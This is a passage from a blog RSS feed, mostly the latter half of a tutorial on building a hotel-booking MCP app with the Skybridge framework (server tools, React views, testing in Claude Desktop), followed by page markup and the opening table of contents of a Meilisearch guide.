&lt;li&gt;Claude account with connector access&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;how-do-you-create-a-skybridge-project&quot;&gt;How do you create a Skybridge project?&lt;/h2&gt;
&lt;p&gt;We will start by scaffolding a new project.&lt;/p&gt;
&lt;p&gt;Open your terminal and run the following command:&lt;/p&gt;
&lt;pre class=&quot;language-bash hljs&quot;&gt;npm create skybridge@latest hotel-app
cd hotel-app
npm install&lt;/pre&gt;
&lt;p&gt;This command creates an Express-based MCP server and a Vite-powered React application.&lt;/p&gt;
&lt;p&gt;The above command sets up a boilerplate with an Express-based MCP server and a Vite-powered React application.&lt;/p&gt;
&lt;p&gt;Skybridge offers direct integration with the Vite ecosystem.&lt;/p&gt;
&lt;p&gt;You can check out &lt;code&gt;vite.config.ts&lt;/code&gt; file for further configuration if you need to.&lt;/p&gt;

&lt;h2 id=&quot;what-is-the-skybridge-developer-dashboard&quot;&gt;What is the Skybridge developer dashboard?&lt;/h2&gt;
&lt;p&gt;Skybridge provides a local developer dashboard at &lt;code&gt;http://localhost:3000&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;This comes with the following tools:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Alpic Playground&lt;/strong&gt;: Local sandbox with hot module replacement (HMR). Iterate on React widgets without connecting to a live AI model&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Integrated Secure Tunnel&lt;/strong&gt;: Exposes your local server through a temporary public URL with one click. Paste this URL into ChatGPT or Claude connector settings&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Beacon Audit Tool:&lt;/strong&gt; Scans app metadata and security policies. It catches common rejection triggers before store submission&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;how-do-you-build-a-chatgpt-app-with-skybridge&quot;&gt;How do you build a ChatGPT app with Skybridge?&lt;/h2&gt;
&lt;p&gt;For this project, we will build a hotel booking app that works inside AI agents.&lt;/p&gt;
&lt;p&gt;We will start by setting up the MCP server and registering a tool to search for hotels.&lt;/p&gt;
&lt;h3 id=&quot;how-do-you-create-mcp-tools-in-skybridge&quot;&gt;How do you create MCP tools in Skybridge?&lt;/h3&gt;
&lt;p&gt;Create a server.ts file and register &lt;code&gt;search-hotels&lt;/code&gt; tool like so:&lt;/p&gt;
&lt;pre class=&quot;language-typescript hljs&quot;&gt;import { McpServer } from &quot;skybridge/server&quot;;
import { z } from &quot;zod&quot;;

const server = new McpServer({
  name: &quot;hotel-booking-app&quot;,
  version: &quot;1.0.0&quot;
}, {});

server.registerTool({
  name: &quot;search-hotels&quot;,
  description: &quot;Searches for available hotels in a city.&quot;,
  inputSchema: {
    location: z.string().describe(&quot;The city to search in&quot;)
  },
  view: {
    component: &quot;hotel-results&quot;,
    description: &quot;Displays a list of available hotels.&quot;
  }
}, async ({ location }) =&amp;gt; {
  const hotels = [
    { id: &quot;h1&quot;, name: &quot;Grand Plaza&quot;, price: 200, rating: 4.5, location },
    { id: &quot;h2&quot;, name: &quot;Seaside Resort&quot;, price: 150, rating: 4.2, location },
  ];

  return {
    structuredContent: { hotels }, // Data passed to React
    content: [{ type: &quot;text&quot;, text: `Found ${hotels.length} hotels in ${location}.` }],
    isError: false,
  };
});

export type AppType = typeof server;&lt;/pre&gt;
&lt;p&gt;We have just defined a tool contract. The &lt;code&gt;view&lt;/code&gt; property tells the Skybridge runtime to render the &lt;code&gt;hotel-results&lt;/code&gt; component when the model calls &lt;code&gt;search-hotels&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;You can further refine the tool’s behavior with the &lt;code&gt;annotations&lt;/code&gt; property:&lt;/p&gt;
&lt;pre class=&quot;language-typescript hljs&quot;&gt;server.registerTool({
  name: &quot;search-hotels&quot;,
  annotations: {
    title: &quot;Available Hotels&quot;,
  },
  // rest of config
});&lt;/pre&gt;
&lt;p&gt;Annotations help the AI host display readable titles in chat logs. Skybridge Beacon Audit Tool also checks this metadata as part of quality validation. For this demo, hotel data is hardcoded.&lt;/p&gt;
&lt;p&gt;Next, build the React component that renders search results for the discovery view.&lt;/p&gt;
&lt;h3 id=&quot;how-do-you-enable-end-to-end-type-safety-in-skybridge&quot;&gt;How do you enable end-to-end type safety in Skybridge?&lt;/h3&gt;
&lt;p&gt;Before we set up the discovery view, create a &lt;a href=&quot;https://file+.vscode-resource.vscode-cdn.net/c%3A/Users/user/Desktop/articleHelp/demo/src/helpers.ts&quot;&gt; helpers.ts&lt;/a&gt; file.&lt;/p&gt;
&lt;p&gt;This file will provide the view with the exact tool input and output types from the server contract.&lt;/p&gt;
&lt;p&gt;This is the content of the file:&lt;/p&gt;
&lt;pre class=&quot;language-typescript hljs&quot;&gt;import { generateHelpers } from &quot;skybridge/web&quot;;
import type { AppType } from &quot;./server.js&quot;;

export const { useToolInfo, useCallTool } = generateHelpers&amp;lt;AppType&amp;gt;();&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;generateHelpers&lt;/code&gt; uses your &lt;code&gt;McpServer&lt;/code&gt; TypeScript type to provide autocomplete and validation for tool names, inputs, and outputs in the views.&lt;/p&gt;

&lt;h3 id=&quot;how-do-you-build-a-react-view-in-skybridge&quot;&gt;How do you build a React view in Skybridge?&lt;/h3&gt;
&lt;p&gt;The discovery view is the first interface the user sees after the model calls &lt;code&gt;search-hotels&lt;/code&gt; tool.&lt;/p&gt;
&lt;p&gt;Create a &lt;code&gt;hotel.tsx&lt;/code&gt; file with the following code:&lt;/p&gt;
&lt;pre class=&quot;language-tsx hljs&quot;&gt;import { useState } from &quot;react&quot;;
import { useLayout } from &quot;skybridge/web&quot;;
import { useToolInfo } from &quot;../helpers.js&quot;;
import Booking from &quot;./booking.js&quot;;
import { Star, MapPin, Hotel, ArrowRight, Sparkles, Compass } from &quot;lucide-react&quot;;

export default function HotelResults() {
  const { theme } = useLayout();
  const { output } = useToolInfo&amp;lt;&quot;search-hotels&quot;&amp;gt;();
  const hotels = output?.hotels || [];
  const [selectedHotel, setSelectedHotel] = useState&amp;lt;{ id: string; name: string } | null&amp;gt;(null);

  if (selectedHotel) {
    return (
      &amp;lt;Booking
        initialHotelId={selectedHotel.id}
        initialHotelName={selectedHotel.name}
        onBack={() =&amp;gt; setSelectedHotel(null)}
      /&amp;gt;
    );
  }

  return (
    &amp;lt;div className={`app-shell font-sans ${theme === &quot;dark&quot; ? &quot;dark&quot; : &quot;&quot;}`}&amp;gt;
      &amp;lt;div className=&quot;mx-auto w-full max-w-5xl px-4 py-6 sm:px-6 sm:py-8&quot;&amp;gt;
        &amp;lt;section className=&quot;glass-panel overflow-hidden p-5 sm:p-7&quot;&amp;gt;
          &amp;lt;div className=&quot;flex flex-col gap-5 sm:flex-row sm:items-end sm:justify-between&quot;&amp;gt;
            &amp;lt;div className=&quot;space-y-2&quot;&amp;gt;
              &amp;lt;p className=&quot;pill bg-sky-100 text-sky-700 dark:bg-sky-950/60 dark:text-sky-300&quot;&amp;gt;
                &amp;lt;Sparkles className=&quot;h-3.5 w-3.5&quot; /&amp;gt; Curated Results
              &amp;lt;/p&amp;gt;
              &amp;lt;h2 className=&quot;font-mozilla text-3xl leading-tight text-deep dark:text-sky-100 sm:text-4xl&quot;&amp;gt;
                Stays near your destination
              &amp;lt;/h2&amp;gt;
              &amp;lt;p className=&quot;max-w-2xl text-sm text-zinc-600 dark:text-zinc-300&quot;&amp;gt;
                We found {hotels.length} options with instant booking support and synchronized steps.
              &amp;lt;/p&amp;gt;
            &amp;lt;/div&amp;gt;
            &amp;lt;div className=&quot;step-chip w-fit&quot;&amp;gt;
              &amp;lt;Compass className=&quot;mr-1.5 h-3.5 w-3.5&quot; /&amp;gt;
              Swipe or browse cards
            &amp;lt;/div&amp;gt;
          &amp;lt;/div&amp;gt;
        &amp;lt;/section&amp;gt;
      &amp;lt;/div&amp;gt;

      &amp;lt;section className=&quot;mx-auto mt-5 grid w-full max-w-5xl grid-cols-1 gap-4 px-4 pb-8 sm:grid-cols-2 sm:px-6 lg:grid-cols-3&quot;&amp;gt;
        {hotels.map((hotel) =&amp;gt; (
          &amp;lt;article key={hotel.id} className=&quot;hotel-card&quot;&amp;gt;
            &amp;lt;div className=&quot;flex items-start justify-between gap-3&quot;&amp;gt;
              &amp;lt;div className=&quot;space-y-1&quot;&amp;gt;
                &amp;lt;h3 className=&quot;text-lg font-bold leading-tight&quot;&amp;gt;{hotel.name}&amp;lt;/h3&amp;gt;
                &amp;lt;div className=&quot;inline-flex items-center gap-1.5 text-[11px] font-semibold uppercase tracking-[0.08em] text-zinc-500&quot;&amp;gt;
                  &amp;lt;MapPin className=&quot;h-3.5 w-3.5&quot; /&amp;gt;
                  {hotel.location}
                &amp;lt;/div&amp;gt;
              &amp;lt;/div&amp;gt;
              &amp;lt;div className=&quot;pill border border-amber-200 bg-amber-50 text-amber-700 dark:border-amber-900 dark:bg-amber-950/40 dark:text-amber-300&quot;&amp;gt;
                &amp;lt;Star className=&quot;mr-1 h-3.5 w-3.5 fill-current&quot; /&amp;gt;
                {hotel.rating}
              &amp;lt;/div&amp;gt;
            &amp;lt;/div&amp;gt;

            &amp;lt;div className=&quot;mt-auto space-y-3&quot;&amp;gt;
              &amp;lt;div className=&quot;flex items-end justify-between&quot;&amp;gt;
                &amp;lt;div&amp;gt;
                  &amp;lt;p className=&quot;text-[11px] uppercase tracking-[0.08em] text-zinc-500&quot;&amp;gt;From&amp;lt;/p&amp;gt;
                  &amp;lt;p className=&quot;text-3xl font-black text-deep dark:text-sky-100&quot;&amp;gt;${hotel.price}&amp;lt;/p&amp;gt;
                &amp;lt;/div&amp;gt;
                &amp;lt;p className=&quot;text-xs font-medium text-zinc-500&quot;&amp;gt;per night&amp;lt;/p&amp;gt;
              &amp;lt;/div&amp;gt;

              &amp;lt;button
                type=&quot;button&quot;
                className=&quot;primary-action w-full&quot;
                onClick={() =&amp;gt; setSelectedHotel({ id: hotel.id, name: hotel.name })}
              &amp;gt;
                &amp;lt;Hotel className=&quot;h-4 w-4&quot; /&amp;gt;
                Start Booking
                &amp;lt;ArrowRight className=&quot;h-4 w-4&quot; /&amp;gt;
              &amp;lt;/button&amp;gt;
            &amp;lt;/div&amp;gt;
          &amp;lt;/article&amp;gt;
        ))}
      &amp;lt;/section&amp;gt;
    &amp;lt;/div&amp;gt;
  );
}&lt;/pre&gt;
&lt;p&gt;This view reads &lt;code&gt;output.hotels&lt;/code&gt; with &lt;code&gt;useToolInfo&lt;/code&gt;, renders each hotel card, and transitions to the booking experience when the user clicks Start Booking.&lt;/p&gt;
&lt;p&gt;At this stage, the app can search and display hotels. Next, we will add tools to collect booking details and finalize reservations.&lt;/p&gt;
&lt;h2 id=&quot;how-do-you-add-more-tools-to-a-skybridge-app&quot;&gt;How do you add more tools to a Skybridge app?&lt;/h2&gt;
&lt;p&gt;To make the app interactive, we will add a Book Now and confirm booking tools.&lt;/p&gt;
&lt;h3 id=&quot;how-do-you-register-a-book-hotel-tool&quot;&gt;How do you register a book-hotel tool?&lt;/h3&gt;
&lt;p&gt;Update the &lt;code&gt;server.ts&lt;/code&gt; file to register the &lt;code&gt;book-hotel&lt;/code&gt; tool like so:&lt;/p&gt;
&lt;pre class=&quot;language-typescript hljs&quot;&gt;server.registerTool({
  name: &quot;book-hotel&quot;,
  description: &quot;Initiates the booking process for a selected hotel.&quot;,
  inputSchema: {
    hotelId: z.string().describe(&quot;The ID of the hotel to book.&quot;),
    hotelName: z.string().describe(&quot;The name of the hotel.&quot;),
  },
  view: {
    component: &quot;booking&quot;,
    description: &quot;Multi-step booking form.&quot;
  }
}, async ({ hotelId, hotelName }) =&amp;gt; {
  return {
    structuredContent: { hotelId, hotelName },
    content: [{ type: &quot;text&quot;, text: `Starting booking for ${hotelName}...` }],
    isError: false,
  };
});&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;book-hotel&lt;/code&gt; tool defines the required schema and links to the &lt;code&gt;booking&lt;/code&gt; view component.&lt;/p&gt;
&lt;p&gt;It runs when the user starts the booking flow.&lt;/p&gt;
&lt;h3 id=&quot;how-do-you-register-a-confirm-booking-tool&quot;&gt;How do you register a confirm-booking tool?&lt;/h3&gt;
&lt;p&gt;To finalize a booking after form completion, we will add a confirm-booking tool for this.&lt;/p&gt;
&lt;p&gt;Go ahead and add this to the server.ts file:&lt;/p&gt;
&lt;pre class=&quot;language-typescript hljs&quot;&gt;server.registerTool({
  name: &quot;confirm-booking&quot;,
  description: &quot;Finalize the hotel booking&quot;,
  inputSchema: {
    hotelId: z.string(),
    guestName: z.string(),
  },
}, async (details) =&amp;gt; {
  const confirmationNumber = `BK-${Math.random().toString(36).substring(2, 9).toUpperCase()}`;
  return {
    structuredContent: { ...details, confirmationNumber },
    content: [{ type: &quot;text&quot;, text: `Booking confirmed! #:${confirmationNumber}` }],
    isError: false,
  };
});&lt;/pre&gt;
&lt;p&gt;By omitting the &lt;code&gt;view&lt;/code&gt; property, you create an execution tool. The AI can call it in the background after it gathers required arguments from view state or chat context.&lt;/p&gt;
&lt;h3 id=&quot;how-do-you-create-the-booking-view-in-skybridge&quot;&gt;How do you create the booking view in Skybridge?&lt;/h3&gt;
&lt;p&gt;Create &lt;code&gt;booking.tsx&lt;/code&gt; file and add the following code to it:&lt;/p&gt;
&lt;pre class=&quot;language-tsx hljs&quot;&gt;import { useState } from &quot;react&quot;;
import { useLayout } from &quot;skybridge/web&quot;;
import { useToolInfo, useCallTool } from &quot;../helpers.js&quot;;
import { Calendar, Users, BedDouble, Ticket, ArrowRight, Waves } from &quot;lucide-react&quot;;

export default function Booking() {
  const { theme } = useLayout();
  const { input, output } = useToolInfo&amp;lt;&quot;book-hotel&quot;&amp;gt;();
  const hotelName = output?.hotelName || input?.hotelName;

  const [state, setState] = useState({
    step: 0,
    checkIn: &quot;&quot;,
    checkOut: &quot;&quot;,
    llmStatus: &quot;Dates pending&quot;,
  });

  const { callTool, isPending } = useCallTool&amp;lt;&quot;confirm-booking&quot;&amp;gt;(&quot;confirm-booking&quot;);

  if (!hotelName) return null;

  const nextStep = () =&amp;gt; setState(s =&amp;gt; ({ ...s, step: s.step + 1 }));

  const progressSteps = [&quot;Dates&quot;, &quot;Guests&quot;, &quot;Room&quot;, &quot;Review&quot;];

  return (
    &amp;lt;div className={`app-shell ${theme === &quot;dark&quot; ? &quot;dark&quot; : &quot;&quot;}`}&amp;gt;
      &amp;lt;div className=&quot;mx-auto w-full max-w-2xl px-4 py-6 sm:px-6 sm:py-8&quot;&amp;gt;
        &amp;lt;div className=&quot;glass-panel space-y-6 p-5 sm:p-7&quot;&amp;gt;
          &amp;lt;header className=&quot;space-y-3&quot;&amp;gt;
            &amp;lt;p className=&quot;pill bg-teal-100 text-teal-700 dark:bg-teal-900/50 dark:text-teal-200&quot;&amp;gt;
              &amp;lt;Waves className=&quot;h-3.5 w-3.5&quot; /&amp;gt; Booking Flow
            &amp;lt;/p&amp;gt;
            &amp;lt;h2 className=&quot;font-mozilla text-3xl leading-tight text-deep dark:text-sky-100&quot;&amp;gt;
              Complete your stay at {hotelName}
            &amp;lt;/h2&amp;gt;
            &amp;lt;div className=&quot;flex flex-wrap gap-2&quot;&amp;gt;
              {progressSteps.map((label, idx) =&amp;gt; (
                &amp;lt;span key={label} className={`step-chip ${idx === state.step ? &quot;step-chip-active&quot; : &quot;&quot;}`}&amp;gt;
                  {idx + 1}. {label}
                &amp;lt;/span&amp;gt;
              ))}
            &amp;lt;/div&amp;gt;
          &amp;lt;/header&amp;gt;

          {state.step === 0 &amp;amp;&amp;amp; (
            &amp;lt;section className=&quot;space-y-4 rounded-2xl border border-sky-100 bg-white/70 p-4 dark:border-slate-700 dark:bg-slate-900/55&quot;&amp;gt;
              &amp;lt;div className=&quot;flex items-center gap-2 text-deep dark:text-sky-200&quot;&amp;gt;
                &amp;lt;Calendar className=&quot;w-5 h-5&quot; /&amp;gt;
                &amp;lt;span className=&quot;font-semibold&quot;&amp;gt;Select Dates&amp;lt;/span&amp;gt;
              &amp;lt;/div&amp;gt;
              {/* form fields */}
            &amp;lt;/section&amp;gt;
          )}

          {state.step === 1 &amp;amp;&amp;amp; (
            &amp;lt;section className=&quot;space-y-4 rounded-2xl border border-sky-100 bg-white/70 p-4 dark:border-slate-700 dark:bg-slate-900/55&quot;&amp;gt;
              &amp;lt;div className=&quot;flex items-center gap-2 text-deep dark:text-sky-200&quot;&amp;gt;
                &amp;lt;Users className=&quot;w-5 h-5&quot; /&amp;gt;
                &amp;lt;span className=&quot;font-semibold&quot;&amp;gt;Guest Details&amp;lt;/span&amp;gt;
              &amp;lt;/div&amp;gt;
            &amp;lt;/section&amp;gt;
          )}

          {state.step === 2 &amp;amp;&amp;amp; (
            &amp;lt;section className=&quot;space-y-4 rounded-2xl border border-sky-100 bg-white/70 p-4 dark:border-slate-700 dark:bg-slate-900/55&quot;&amp;gt;
              &amp;lt;div className=&quot;flex items-center gap-2 text-deep dark:text-sky-200&quot;&amp;gt;
                &amp;lt;BedDouble className=&quot;w-5 h-5&quot; /&amp;gt;
                &amp;lt;span className=&quot;font-semibold&quot;&amp;gt;Select Room Type&amp;lt;/span&amp;gt;
              &amp;lt;/div&amp;gt;
            &amp;lt;/section&amp;gt;
          )}

          {state.step === 3 &amp;amp;&amp;amp; (
            &amp;lt;section className=&quot;space-y-4 rounded-2xl border border-sky-100 bg-white/70 p-4 dark:border-slate-700 dark:bg-slate-900/55&quot;&amp;gt;
              &amp;lt;div className=&quot;flex items-center gap-2 text-deep dark:text-sky-200&quot;&amp;gt;
                &amp;lt;Ticket className=&quot;w-5 h-5&quot; /&amp;gt;
                &amp;lt;span className=&quot;font-semibold&quot;&amp;gt;Review and Confirm&amp;lt;/span&amp;gt;
              &amp;lt;/div&amp;gt;
              &amp;lt;button
                className=&quot;primary-action&quot;
                onClick={() =&amp;gt; callTool({
                  hotelId: output?.hotelId || input?.hotelId || &quot;&quot;,
                  hotelName,
                  checkIn: state.checkIn,
                  checkOut: state.checkOut,
                  adults: 2,
                  children: 0,
                  guestNames: [&quot;Primary Guest&quot;],
                  roomType: &quot;Standard&quot;,
                })}
                disabled={isPending}
              &amp;gt;
                Confirm Booking &amp;lt;ArrowRight className=&quot;h-4 w-4&quot; /&amp;gt;
              &amp;lt;/button&amp;gt;
            &amp;lt;/section&amp;gt;
          )}
        &amp;lt;/div&amp;gt;
      &amp;lt;/div&amp;gt;

      &amp;lt;div
        className=&quot;hidden&quot;
        data-llm={`Booking status: ${state.llmStatus}. User is at step ${state.step + 1} for ${hotelName}. Current data: ${JSON.stringify(state)}`}
      /&amp;gt;
    &amp;lt;/div&amp;gt;
  );
}&lt;/pre&gt;
&lt;p&gt;The hidden &lt;code&gt;data-llm&lt;/code&gt; block keeps the model aware of current form progress and entered values, which helps it decide when to call &lt;code&gt;confirm-booking&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;With both views and tools wired together, let’s go ahead and test it.&lt;/p&gt;
&lt;h2 id=&quot;how-do-you-test-a-skybridge-app&quot;&gt;How do you test a Skybridge app?&lt;/h2&gt;
&lt;p&gt;I will first go ahead and test it out in the developer dashboard:&lt;/p&gt;
&lt;p&gt;&lt;img decoding=&quot;async&quot; class=&quot;alignnone size-full wp-image-214629&quot; src=&quot;https://blog.logrocket.com/wp-content/uploads/2026/07/UykZUbF1.gif&quot; alt=&quot;&quot; width=&quot;800&quot; height=&quot;450&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/p&gt;
&lt;p&gt;This is the result of my test in Claude Desktop:&lt;/p&gt;
&lt;p&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; class=&quot;alignnone size-full wp-image-214630&quot; src=&quot;https://blog.logrocket.com/wp-content/uploads/2026/07/NE2HxxKR.gif&quot; alt=&quot;&quot; width=&quot;800&quot; height=&quot;450&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/p&gt;
&lt;p&gt;To test it in Claude, do the following:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Start the development server&lt;/li&gt;
&lt;li&gt;Open the development dashboard&lt;/li&gt;
&lt;li&gt;Start the tunnel&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Thereafter, copy the MCP URL and add it to the connectors in Claude Desktop&lt;/p&gt;
&lt;p&gt;The final implementation is available in the &lt;a href=&quot;https://github.com/emmanuelhashy/hotel_booking_skybridge&quot;&gt;hotel booking GitHub repository&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&quot;what-are-skybridges-limitations&quot;&gt;What are Skybridge’s limitations?&lt;/h2&gt;
&lt;p&gt;Skybridge simplifies MCP development, but a few constraints still matter:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;React-Focused&lt;/strong&gt;: Currently, the frontend view layer requires React&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://blog.logrocket.com/node-js-project-architecture-best-practices/&quot;&gt;Node.js&lt;/a&gt; Environment&lt;/strong&gt;: The local server component requires a Node.js runtime&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Provider Support&lt;/strong&gt;: While compatible with the MCP standard, some advanced host-specific UI capabilities may still be under development&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Developing for the agentic web should not require duplicate integrations or deep protocol expertise. Skybridge gives you one path for building interactive, state-synchronized apps that work across major chatbot platforms. By centering development on shared tools and views, you can ship richer AI experiences with lower maintenance costs.&lt;/p&gt;


&lt;/div&gt;
            &lt;style&gt;
    .share-icon.share-twitter span:first-child {
        background-image: url(&quot;https://blog.logrocket.com/wp-content/themes/logrocket/assets/svgs/share-twitter.svg&quot;);
    }

    .share-icon.share-reddit span:first-child {
        background-image: url(&quot;https://blog.logrocket.com/wp-content/themes/logrocket/assets/svgs/share-reddit.svg&quot;);
    }

    .share-icon.share-linkedin span:first-child {
        background-image: url(&quot;https://blog.logrocket.com/wp-content/themes/logrocket/assets/svgs/share-linkedin.svg&quot;);
    }

    .share-icon.share-facebook span:first-child {
        background-image: url(&quot;https://blog.logrocket.com/wp-content/themes/logrocket/assets/svgs/share-facebook.svg&quot;);
    }
&lt;/style&gt;

            &lt;ul id=&quot;post-tags&quot;&gt;
            &lt;li&gt;
        &lt;a rel=&quot;tag&quot; href=&quot;https://blog.logrocket.com/tag/mcp/&quot;&gt;#mcp&lt;/a&gt;
        &lt;/li&gt;
    &lt;/ul&gt;
            &lt;!-- This is where popips should go --&gt;
            &lt;div id=&quot;popups&quot;&gt;&lt;/div&gt;
        &lt;/div&gt;
    </description><link>https://blog.logrocket.com/skybridge-chatgpt-mcp-apps/</link><guid isPermaLink="false">https://blog.logrocket.com/skybridge-chatgpt-mcp-apps/</guid><pubDate>Invalid Date</pubDate><author>Emmanuel John</author></item><item><title>Getting started with Meilisearch: A complete guide</title><description>&lt;aside&gt;
            &lt;div class=&quot;sticky&quot;&gt;
                                
&lt;div class=&quot;toc-container&quot; id=&quot;post-toc&quot;&gt;
            &lt;div class=&quot;toc-header&quot;&gt;
            &lt;span class=&quot;toc-title&quot;&gt;
                Table of contents            &lt;/span&gt;
            &lt;i class=&quot;fa fa-chevron-down toc-collapse&quot;&gt;&lt;/i&gt;
            &lt;i class=&quot;hide fa fa-chevron-up toc-expand&quot;&gt;&lt;/i&gt;
        &lt;/div&gt;
        
&lt;ul data-toc-name=&quot;root&quot; class=&quot;toc&quot;&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/getting-started-with-meilisearch/#whats-changed-in-meilisearch&quot;&gt;What&#39;s changed in Meilisearch?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;whats-changed-in-meilisearch&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/getting-started-with-meilisearch/#how-do-you-run-meilisearch&quot;&gt;How do you run Meilisearch?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;how-do-you-run-meilisearch&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/getting-started-with-meilisearch/#how-do-you-set-up-a-meilisearch-project&quot;&gt;How do you set up a Meilisearch project?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;how-do-you-set-up-a-meilisearch-project&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/getting-started-with-meilisearch/#how-do-you-create-an-index-and-add-documents-in-meilisearch&quot;&gt;How do you create an index and add documents in Meilisearch?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;how-do-you-create-an-index-and-add-documents-in-meilisearch&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/getting-started-with-meilisearch/#how-do-you-search-documents-in-meilisearch&quot;&gt;How do you search documents in Meilisearch?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;how-do-you-search-documents-in-meilisearch&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/getting-started-with-meilisearch/#how-do-you-update-documents-in-meilisearch&quot;&gt;How do you update documents in Meilisearch?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;how-do-you-update-documents-in-meilisearch&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/getting-started-with-meilisearch/#how-do-meilisearch-ranking-rules-work&quot;&gt;How do Meilisearch ranking rules work?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;how-do-meilisearch-ranking-rules-work&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/getting-started-with-meilisearch/#how-does-hybrid-and-semantic-search-work-in-meilisearch&quot;&gt;How does hybrid and semantic search work in Meilisearch?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;how-does-hybrid-and-semantic-search-work-in-meilisearch&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/getting-started-with-meilisearch/#how-do-you-build-conversational-search-and-rag-with-meilisearch&quot;&gt;How do you build conversational search and RAG with Meilisearch?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;how-do-you-build-conversational-search-and-rag-with-meilisearch&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/getting-started-with-meilisearch/#how-do-you-use-meilisearch-for-merchandising-and-personalization&quot;&gt;How do you use Meilisearch for merchandising and personalization?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;how-do-you-use-meilisearch-for-merchandising-and-personalization&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/getting-started-with-meilisearch/#where-does-meilisearch-fit-in-an-ai-stack&quot;&gt;Where does Meilisearch fit in an AI stack?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;where-does-meilisearch-fit-in-an-ai-stack&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/getting-started-with-meilisearch/#conclusion&quot;&gt;Conclusion&lt;/a&gt;
        &lt;ul data-toc-name=&quot;conclusion&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;&lt;/ul&gt;
    &lt;/div&gt;
                &lt;div class=&quot;plug-gutter&quot;&gt;
    &lt;div class=&quot;plug-gutter--image&quot;&gt;
        &lt;img src=&quot;https://blog.logrocket.com/wp-content/uploads/2023/12/GalileoAIPreview.png&quot; alt=&quot;LogRocket Galileo logo&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
    &lt;/div&gt;
    &lt;div class=&quot;plug-gutter--top&quot;&gt;Introducing Galileo AI&lt;/div&gt;
    &lt;div class=&quot;plug-gutter--bottom&quot;&gt;LogRocket’s Galileo AI watches every session, surfacing impactful user struggle and key behavior patterns.&lt;/div&gt;
    &lt;div class=&quot;plug-gutter--cta&quot;&gt;
        &lt;a href=&quot;https://logrocket.com/products/galileo-ai&quot; class=&quot;plug-gutter--button&quot;&gt;LEARN MORE&lt;/a&gt;
    &lt;/div&gt;
&lt;/div&gt;


            &lt;/div&gt;
        &lt;/aside&gt;
        &lt;div id=&quot;the-content-container&quot;&gt;&lt;style&gt;
.plug-dev-top--card {
    border: 2px solid rgba(118, 74, 188, 0.2);
    border-radius: 8px;
    background-color: #491d90;
    justify-content: space-between;
    align-items: center;
    padding: 16px;
    font-family: &#39;Proxima Nova&#39;, sans-serif;
    display:flex;
    gap: 1rem;
    cursor: pointer;
}

.plug-dev-top--logo {
    width: 48px;
    height: 48px;
    border-radius: 50%;
}

.plug-dev-top--blurb {
    h2 {
        font-weight: 800;
        font-size: 22px;
        line-height: 22px;
        color: #fff;
        width: 70%;
        margin: 0 0 5px 0;
    }

    h3 {
        font-weight: 900;
        font-size: 13px;
        line-height: 13px;
        letter-spacing: 0.1em;
        color: #fff;
        opacity: 0.5;
        white-space: nowrap;
        margin: 0;
    }
}

.plug-dev-top--cta {
    background-color: #fff;
    color: #764abc;
    border: none;
    border-radius: 4px;
    padding: 10px;
